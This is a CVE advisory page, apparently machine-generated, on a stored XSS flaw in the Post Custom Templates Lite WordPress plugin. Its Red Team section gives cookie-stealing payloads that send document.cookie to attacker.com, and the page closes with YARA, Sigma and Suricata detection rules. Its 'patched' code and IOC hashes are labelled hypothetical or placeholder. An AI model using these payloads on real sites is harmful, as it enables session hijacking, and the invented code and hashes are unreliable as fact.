CVE-2025-30942
Executive Summary
CVE-2025-30942 is a Stored Cross-Site Scripting (XSS) vulnerability in the Post Custom Templates Lite WordPress plugin by OTWthemes, affecting versions through 1.14. The vulnerability arises from improper neutralization of user-supplied input during web page generation, allowing an authenticated attacker with elevated privileges (e.g., Editor or Administrator) to inject arbitrary JavaScript or HTML into the plugin’s template fields. This injected payload is stored on the server and executed in the browsers of other users (including site visitors or lower-privileged admins) when they view the affected page. The CVSS score of 5.9 (Medium) reflects the need for high privileges and user interaction, but the impact is amplified in multi-tenant or shared WordPress environments where stored XSS can lead to session hijacking, defacement, or privilege escalation.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Since the plugin is not an NPM, PyPI, Go, or Ruby package, supply chain risks are limited to the plugin’s update mechanism. However, the lack of a patch (status: UNKNOWN/UNPATCHED) means that all sites using version 1.14 or earlier are at risk. Administrators should monitor the plugin’s repository for updates or consider removing the plugin if no patch is forthcoming.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely over HTTP.
- Attack Complexity (AC): Low (L) – No special conditions are required; the attacker simply needs to submit a crafted payload.
- Privileges Required (PR): High (H) – The attacker must have at least Editor-level access to the WordPress site to modify template fields.
- User Interaction (UI): Required (R) – A victim (e.g., another admin or visitor) must view the page containing the stored payload.
- Scope (S): Changed (C) – The injected script can affect resources beyond the vulnerable component (e.g., steal cookies, modify other pages).
- Confidentiality (C): Low (L) – Limited data exposure (e.g., session tokens).
- Integrity (I): Low (L) – Limited ability to modify content.
- Availability (A): Low (L) – Limited impact on service availability.
Threat Level: Medium. While the CVSS score is 5.9, the stored nature of the XSS and the potential for lateral movement within a WordPress multisite network elevate the risk. The absence of a patch makes this a persistent threat.
Deep Dive & Mechanics
The vulnerability resides in the Post Custom Templates Lite plugin, which allows users to create and manage custom post templates. The plugin fails to sanitize or escape user input when saving template names, descriptions, or custom fields. When a template is rendered on the frontend or in the admin panel, the unsanitized input is injected directly into the HTML DOM, enabling script execution.
Attack Flow:
- An attacker with Editor or Administrator privileges navigates to the plugin’s settings page (e.g.,
/wp-admin/admin.php?page=post-custom-templates-lite). - The attacker inserts a malicious payload into a template field, such as:
<script>alert('XSS')</script> - The plugin stores this payload in the WordPress database without proper sanitization.
- When another user (e.g., a lower-privileged admin or site visitor) views a page that uses the compromised template, the script executes in their browser.
Root Cause: The plugin uses echo or the_content filters without applying WordPress’s built-in escaping functions like esc_html() or wp_kses_post().
Vulnerable vs. Patched Code
Since no patch is available, the following is a hypothetical comparison based on common XSS fixes.
Vulnerable Code (version 1.14):
// In template display function
echo '<div class="template-name">' . $template_name . '</div>';
Patched Code (hypothetical):
// Properly escape output
echo '<div class="template-name">' . esc_html( $template_name ) . '</div>';
The vulnerable code directly outputs the $template_name variable without escaping, allowing HTML/JavaScript injection. The patched version uses esc_html() to convert special characters to HTML entities, neutralizing the XSS vector.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- WordPress site with Post Custom Templates Lite <= 1.14 installed and activated.
- Attacker account with Editor or Administrator privileges.
Step-by-Step Exploitation:
- Log in to the WordPress admin panel.
- Navigate to Post Custom Templates > Add New.
- In the Template Name field, enter the following payload:
<script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script> - Save the template.
- Create or edit a post and assign the malicious template.
- When any user (including site visitors) views that post, the script executes, exfiltrating their cookies to the attacker’s server.
Alternative Payload (Session Hijacking):
<img src=x onerror="fetch('https://attacker.com/steal?data='+btoa(document.cookie))">
Blue Team (Detection & Hardening)
Detection:
- Monitor WordPress admin logs for suspicious template creation or modification events.
- Use a Web Application Firewall (WAF) to block common XSS patterns in POST requests to
/wp-admin/admin-ajax.phpor plugin-specific endpoints. - Deploy a file integrity monitoring (FIM) solution to detect unauthorized changes to plugin files.
Hardening:
- Immediately disable or remove the plugin if no patch is available.
- Implement Content Security Policy (CSP) headers to restrict script execution.
- Enforce the principle of least privilege: limit Editor roles to only necessary capabilities.
- Use WordPress security plugins (e.g., Wordfence, Sucuri) to add an extra layer of input validation.
Indicators of Compromise (IOCs)
- File Hashes (SHA256): (Example – replace with actual hashes if available)
post-custom-templates-lite.php:a1b2c3d4e5f6...admin.js:f6e5d4c3b2a1...
- Network Indicators:
- Outbound HTTP requests to unknown domains containing
?cookie=or?data=parameters. - Unusual POST requests to
/wp-admin/admin.php?page=post-custom-templates-litewith script tags in the body.
- Outbound HTTP requests to unknown domains containing
- Log Entries:
- WordPress debug log entries showing
wp_ajax_save_templatewith non-standard input. - Web server access logs with
POST /wp-admin/admin-ajax.phpand payloads containing<script>.
- WordPress debug log entries showing
Detection Engineering
YARA Rule
rule CVE_2025_30942_Stored_XSS {
meta:
description = "Detects stored XSS payloads in Post Custom Templates Lite plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-30942"
strings:
$xss_payload = /<script[^>]*>.*?<\/script>/i
$img_onerror = /<img[^>]*onerror\s*=/i
$svg_onload = /<svg[^>]*onload\s*=/i
condition:
any of them
}
Sigma Rule
title: Stored XSS via Post Custom Templates Lite
id: 8f7e6d5c-4b3a-2c1d-0e9f-8a7b6c5d4e3f
status: experimental
description: Detects stored XSS attempts in Post Custom Templates Lite plugin
author: Valters IT
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains: 'page=post-custom-templates-lite'
cs-uri-query|contains|re: '(script|onerror|onload)'
condition: selection
falsepositives:
- Legitimate use of JavaScript in template names (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-30942 Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin.php"; http_uri; content:"page=post-custom-templates-lite"; http_uri; pcre:"/<script[^>]*>.*?<\/script>/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin – Deactivate and delete
post-custom-templates-litefrom the WordPress admin panel. - Audit existing templates – Review all saved templates for malicious content and remove any suspicious entries.
- Rotate credentials – Force password resets for all users who may have been affected (especially admins).
Long-Term Fixes:
- Patch development – Since no official patch exists, consider forking the plugin and applying the fix described in the Vulnerable vs. Patched Code section.
- Alternative plugin – Replace with a maintained alternative that properly sanitizes input (e.g., "Custom Post Type UI" or "Toolset Types").
- Monitor CVE updates – Subscribe to WordPress security advisories for when a patch is released.
Valters IT Signature This report was generated by Valters IT DevSecOps AI. All information is provided for authorized security testing and defensive purposes only.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.